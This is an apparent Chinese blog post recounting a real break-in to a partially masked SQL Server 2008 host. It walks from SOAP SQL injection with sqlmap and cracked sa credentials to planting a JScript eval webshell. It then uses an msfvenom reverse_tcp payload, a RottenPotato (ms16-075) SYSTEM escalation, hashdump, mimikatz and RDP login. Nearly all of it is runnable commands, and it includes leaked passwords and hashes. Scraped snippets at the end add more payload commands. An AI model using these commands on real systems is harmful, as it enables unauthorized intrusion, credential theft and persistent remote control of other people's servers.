soap注入某sql2008服务器结合msf进行提权

soap注入某sql2008服务器结合msf进行提权

simeon

在实际成功×××过程中,漏洞的利用都是多个技术的融合,最新技术的实践,本次×××利用sqlmap来确认注入点,通过sqlmap来获取webshell,结合msf来进行ms16-075的提权,最终获取了目标服务器的系统权限。本文算是漏洞利用的一个新的拓展,在常规Nday提权不成功的情况下,结合msf进行ms16-075成功提权的一个经典案例。

1.1.1扫描soap注入漏洞

1.使用awvs中的web services scanner进行漏洞扫描

打开awvs,选择web services scanner进行漏洞扫描,如图1所示,在wsdl url中填写目标url地址,注意一定是asmx?wsdl,有的是有asmx文件,如果没有则可以直接填写,例如:http://1**.***.***.***:8081/?wsdl。

图1进行soap注入漏洞扫描

2.处理sql盲注

    通过awvs扫描,确认该url地址存在sql盲注(26处),在awvs中,单击右边的“view http headers”,将其内容复制到一个文本文件中,同时处理存在漏洞的语句,在本例中例如:<urn:string>-1&apos; OR 3*2*1=6 AND 000223=000223 or &apos;gPireHft&apos;=&apos;</urn:string>

需要将红色字图部分更换为”-1*”。

3.完整的header包中内容如下:

POST /Service1.asmx HTTP/1.1

Content-Type: text/xml

SOAPAction: "http://tempuri.org/ZcpdList"

Content-Length: 716

X-Requested-With: XMLHttpRequest

Referer: http://1**.***.***.***:8081/?wsdl

Host: 1**.***.***.***:8081

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/" xmlns:urn2="http://tempuri.org/AbstractTypes">

<SOAP-ENV:Header/>

<SOAP-ENV:Body>

<urn:ZcpdList>

<urn:Inventory_dhs>

<urn:string>-1*</urn:string>

</urn:Inventory_dhs>

</urn:ZcpdList>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

Response

1.1.2确认soap注入漏洞

1.使用sqlmap检测是否存在sql注入漏洞

将前面的header中的内容保存为1**.***.***.***.txt,将该文件复制到sqlmap.py程序所在目录,执行命令:sqlmap.py -r 1**.***.***.***.txt,对sqlmap提示的信息进行确认:

custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] y

SOAP/XML data found in POST data. Do you want to process it? [Y/n/q]y

   如图2所示,sqlmap确认该sql注入漏洞存在,且该数据库服务器为windows 2008 R2,数据库版本为sql server 2008,soap存在漏洞为union查询。

图2 存在soap注入漏洞

2.查看数据库是否dba权限

(1)自动提交参数进行测试

如图3所示,执行命令:sqlmap.py -r 1**.***.***.***.txt --is-dba --batch后,也要两次确认y,由于使用了参数“batch”,sqlmap会自动进行提交判断值。

图3自动提交参数进行判断

(2)获取当前数据库使用的用户是dba账号。

如图4所示,在sqlmap中获取当前用户是dba,显示结果为true。该结果表明数据库是使用sa权限,可以通过os-shell参数来获取webshell。

图4判断是否为dba账号

3.获取sa账号密码

如图5所示,使用命令sqlmap.py -r 1**.***.***.***.txt --password --batch直接获取该数据库连接的所有账号对应的密码值:

图5获取sa账号密码

4.破解sa账号密码

在前面通过sqlmap成功获取其数据库密码哈希值:

[*] ##MS_PolicyEventProcessingLogin## [1]:

password hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838

[*] ##MS_PolicyTsqlExecutionLogin## [1]:

password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c

[*] sa [1]:

password hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28

将sa对应的密码值“0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28”在www.cmd5.com进行查询,如图6所示,其解密结果为“qaz123WSX”。

图6解密sa密码哈希值

1.1.3通过--os-shell获取webshell

1.获取os-shell

在sqlmap中执行命令:sqlmap.py -r 1**.***.***.***.txt --os-shell,在sqlmap执行窗口中确认信息:

custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/q] y

SOAP/XML data found in POST data. Do you want to process it? [Y/n/q] y

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]

也可以执行sqlmap.py -r 1**.***.***.***.txt --os-shell --batch命令不用手工输入。

2.寻找web程序所在目录

(1)查看文件及目录

执行dir c:\命令后,可以查看c目录及文件,继续查看“dir c:\inetpub\wwwroot”如图7所示,在该文件夹中无web程序,排除该目录。

图7查看文件及目录

(2)获取网站真实目录

通过依次查看c、d、e、f盘,在e盘获取疑似网站程序文件,使用命令进行查看dir e:\software\AMS_NoFlow,如图8所示。

图8查看网站文件

3.测试网站真实目录

(1)生成文件测试

如图9所示,使用echo命令:echo "thisis test">e:\software\AMS_NoFlow\t.txt,在网站根目录下生成t.txt文件。内容为thisis test。

图9生成文件

(2)网站访问测试

在浏览器中输入地址http://1**.***.***.***/1.txt进行测试,如图10所示,获取内容跟预期一致,该目录为网站真实物理地址。

图10网站访问测试

4. 获取web.config配置文件内容

在os-shell中,执行type e:\software\AMS_NoFlow\web.config命令查看web.config文件中的内容,在sqlmap命令窗口由于设置问题,可能无法查看其完整的内容,不过sqlmap在其output目录下,会保持详细情况,如图11所示,打开其log文件,可以看到其sa账号对应的密码为qaz123WSX,跟前面破解的sa密码一致。

图11查看web.config配置文件内容

5.获取ip地址信息

如图12所示,在os-shell中执行ipconfig命令,即可获取该目标的IP地址配置情况,该目标对外配置独立外网IP和内网IP地址,在os-shell中还可以执行其它命令。

图12获取IP地址

6. 获取webshell测试

(1)生成shell文件

在os-shell中执行命令:echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx

如图13所示,回显结果显示1,无其它信息,表面生成文件命令成功。

图13 生成webshell

(2)获取webshell

使用中国菜刀后门管理工具,创建记录http://1**.***.***.***/cmd.aspx,一句话后门密码:pass,如图14所示,连接成功,成功获取webshell。

图14获取webshell

1.1.4常规方法提权失败

1.生成系统信息文件

在os-shell中执行命令:systeminfo > SYD1-0081DSB.txt

2.下载Windows-Exploit-Suggester程序

Windows-Exploit-Suggester下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester/

3.更新漏洞库并进行漏洞比对

在python中执行windows-exploit-suggester.py -u进行更新,同时对漏洞库进行比对:

windows-exploit-suggester.py  --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如图15所示。

图15进行漏洞比对

4.查看漏洞情况

在C:\Python27目录打开SYD1-0081DSB-day.txt文件,如图16所示,可以看到程序判断该操作系统为windows 2008 R2版本,且存在多个漏洞,最新漏洞为ms16-075。

图16查看漏洞情况

5.对存在的漏洞进行提权测试

按照漏洞编号,查找并整理exp文件,在目标服务器上进行提权测试,除ms16-075exp外,测试均失败,无法提权。

1.1.5借助msf进行ms16-075提权

1.使用msf生成反弹×××

在msf下面执行命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe

其中windows/meterpreter/reverse_tcp反弹端口类型,lhost是反弹连接的服务器Ip地址,注意该ip地址必须是独立服务器,或者必须是外网端口映射,换句话说,就是反弹必须能够接收,lport为反弹的端口,4433为生成的程序。

2.在监听服务器上执行监听命令

(1)启动msf

msfconsole

(2)配置meterpreter参数

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.33

set LPORT 4433

exploit

3.上传4433.exe程序到目标服务器及执行

将4433.exe文件上传到目标服务器,并通过中国彩刀或者os-shell进行执行。

4.查看系统信息

如图17所示,目标反弹到监听服务器上,执行sysinfo,获取其系统信息。

图17获取系统信息

5.使用meterpreter自带提权功能失败

在meterpreter中分别执行getuid和getsystem命令,如图18所示,未能成功提权。

图18使用默认meterpreter提权失败

6.使用ms16-075进行提权

(1)ms16-075可利用exp下载

https://github.com/foxglovesec/RottenPotato

(2)上传potato文件

通过webshell上传potato.exe文件,或者在msf下面执行命令上传:

upload  /root/potato.exe

(3)获取系统权限

依次执行以下命令:

use incognito

list_tokens -u

execute -cH -f ./potato.exe

list_tokens -u

如图19所示,成功获取系统权限。

图19获取系统权限tokens

(4)获取系统权限

分别执行命令:

impersonate_token "NT AUTHORITY\\SYSTEM"

getuid

如图20所示,成功获取系统权限。

图20获取系统权限

(5)获取密码

在meterpreter下执行命令:run hashdump命令,如图21所示,成功获取该服务器密码哈希值:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::

图21获取密码

在本例中还是用load mimikatz进行明文密码获取,但获取效果不理想,执行命令:

kerberos、livessp、msv、ssp、tspkg、wdigest获取不到明文密码,还可以执行命令mimikatz_command,进入mimikatz命令提示符下进行操作。

(6)破解ntml密码

将ntml密码哈希值a59a64a645487c1581dea603253c7920复制到cmd5.com进行破解, cmd5需要付费,还可以到:

http://www.objectif-securite.ch/en/ophcrack.php和https://www.somd5.com/网站 进行密码破解,如图22所示,成功破解密码。

图22破解ntlm哈希值

7.登录服务器

通过nmap -sS -Pn -A 1**.***.***.***或者masscan -p 1-65535 1**.***.***.***进行端口扫描,发现该服务器开放3389端口,使用mstsc进行登录,如图23所示,成功登录该服务器。

图23成功登录服务器

1.1.6总结与防御

1.本次×××主要命令汇总

(1)sqlmap执行命令

sqlmap.py -r 1**.***.***.***.txt

sqlmap.py -r 1**.***.***.***.txt --is-db

sqlmap.py -r 1**.***.***.***.txt --password --batch

sqlmap.py -r 1**.***.***.***.txt --os-shell

(2)os-shell下执行命令

ipconfig

dir c:/

echo "thisis test">e:\software\AMS_NoFlow\t.txt

echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > e:\software\AMS_NoFlow\cmd.aspx

(3)msf下执行命令

生成反弹×××:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4433 -f exe -o 4433.exe

(4)msf启动及监听

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.33(实际为外网IP地址

set LPORT 4433

exploit

(5)ms16-075提权命令

use incognito

list_tokens -u

execute -cH -f ./potato.exe

list_tokens -u

impersonate_token "NT AUTHORITY\\SYSTEM"

getuid

(6)获取密码

run hashdump

(7)mimikatz进行密码获取

load mimikatz

kerberos、livessp、msv、ssp、tspkg、wdigest(逐个命令测试,有的会显示明文密码)

mimikatz_command:mimikatz命令提示窗口

(8)mimikatz命令行下获取密码(未做测试)

privilege::debug

sekurlsa::logonpasswords

2.×××总结

在本次×××中,通过sqlmap进行soap注入测试,通过sqlmap判断sql注入点可用,后续通过os-shell成功获取了webshell。获取webshell后,尝试通过常规的Nday提权方法,结果失败,后续通过msf配合进行ms16-075进行提权。Windows-Exploit-Suggester进行本地漏洞的判断和测试效果还是可以的,通过其审计,使用最新漏洞进行提权,基本命中率在99%。

3.安全防御

成功×××该服务器后,在该服务器上未发现有任何安全防护软件,笔者根据经验,建议做如下安全防御:

(1)对soap参数进行过滤,过滤危险的一些导致sql注入的参数。

(2)mssql数据库使用低权限用户进行数据库连接。

(3)服务器定期进行补丁更新升级。

(4)安装杀毒软件、waf及硬件防火墙,增加×××成本和难度

更多有关sqlmap精彩技术文章,请订阅http://blog.51cto.com/cloumn/detail/3

原文地址:http://blog.51cto.com/simeon/2125145

时间: 2024-10-12 18:10:23

soap注入某sql2008服务器结合msf进行提权的相关文章

用MSF进行提权

在WEB渗透中当我们拿到webshell了,我们可以试试用MSF(metasploit)来进行提权,在MSF里meterpreter很强大的! 我们先用msfvenom生成一个EXE的木马后门. msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.7 LPORT=4444 -f exe > abc.exe 然后在到MSF根据刚才配置的木马后门进行监听...

齐博cms最新SQL注入网站漏洞 可远程执行代码提权

齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢.开发架构使用的是php语言以及mysql数据库,强大的网站并发能力.于近日,我们SINE安全公司发现齐博cms又爆出高危的sql注入漏洞,关于该网站漏洞的详情,我们来详细的分析漏洞的产生以及如何利用. 在对整个网站代码的漏洞检测中发现do目录下的activate.php存在可以插入恶意参数的变量值,我们来看下这个代码: 齐博cms漏洞详

MSF查找提权exp

0x01:介绍 在拿到一个反弹shell后,下一步可以用metaspolit的内置模块Local Exploit SuggesterLocal-exploit-suggester的功能就如它的名字一样,当我们用它来探测某一个系统时,他会告诉我们该系统有哪些exploit可能可以利用.但是由于该工具先是假设一个系统存在所有的相关漏洞,然后根据补丁信息再去排除,所以就导致误报率会高一点,例如一台机器没有启用iis服务,但是可能该工具会误报存在IIS相关漏洞. 0x02:使用 usepost/mult

看好你的门-攻击服务端(3)-SOAP注入攻击

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1.SOAP注入攻击 服务器端的XML解析引擎从客户端接收输入信息,这里指的客户端可以是浏览器.来自网页应用程序的数据.一部移动设备或者是其它类型的来源.如果不对输入的信息进行正确验证,接收的结果就很可能出现错误,进而为攻击行为提供了便利. 从实际的角度来说,对SOAP的注入攻击漏洞是非常难寻找的,因为这些数据往往通过接口传输,而且很多的接口对错误的都是经过处理的. 2. SOAP注入攻击的

Asp SQL注入获取某服务器权限

1.1 Asp SQL注入获取某服务器权限 对于Asp类型网站SQL注入,如果当前数据库为MSSQL,且权限为sa的情况下,可以通过恢复xp_cmdshell方法来直接执行命令,甚至有的可能直接是system权限.可以执行命令直接添加账号和密码,如果开启3389则可以直接登录服务器.当然也有站点存在SQL注入,但其权限较低,例如public权限,则可以通过sql注入获取其管理员表中的账号及密码,通过登录后台寻找漏洞获取webshell,本文是sqlmap攻防系列专栏的一个补充,通过sqlmap可

【实战】一次艰难的入侵提权,成功拿下服务器

前言:这是在51CTO的第10篇文章,给大家来点给力的哈~这次的入侵检测在提权反弹连接上遇到了很多问题,让窝娓娓道来. Let's Go! 一,对目标网站的信息收集. http://www.XXXXX.cn  IP:122.225.XX.XXX [浙江省嘉兴市 电信] Server OS : Microsoft Windows NT 5.2.3790 Service Pack 2(xp || win server 03 sp1 or sp2)        Server Software : M

17_服务器提权

当我们拿到webshell之后,下一步该干什么了?权限提升 水平权限提升(通过控制一个账户来搞定其他的账户)  垂直权限提升(从单一用户权限提升至完全管理权限) 主机权限提升(重点介绍) 一.主机权限提升 1.分类 Linux提权 Windows提权 2.Windows提权(前提是:有操作系统漏洞,其次是想办法执行cmd) 操作系统漏洞提权 第三方服务提权 3.Windows操作系统漏洞 根据没有修补的补丁号码,到网上找利用程序,进行利用. systeminfo  查看系统信息 查看修补的补丁编

峰回路转的提权08r2服务器

事前日下这个站的时候说实话,略微的蛋疼.其过程就不写了,就讲讲提权吧.可能图片有点暗.看看我写这篇文章的时候就知道了. 这个学校我好多同学在里面读书,就萌生了.日下这个站的想法. 拿到shell,理所应当的是收集信息了. 2008r2的,哇靠哦.我第一反应就是再看看端口,因为一般08r2的exp能用的不多.先看看有没有waf. 第一个大家并不陌生,360嘛.至于第二个,可能有部分的同学不知道.是一个很出名的远控软件.速度相对比其他的好得多,你懂的.但是呢,有一个exp可以读取其账户资料的.也就是

从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

本文作者:i春秋签约作家--酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而且还是iis6.0的,可以考虑创建个asp目录来构造解析(fck编辑器路径被改成别的需要burpsuite抓包的时候看到) 下面我们构造一个asp目录,如: http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp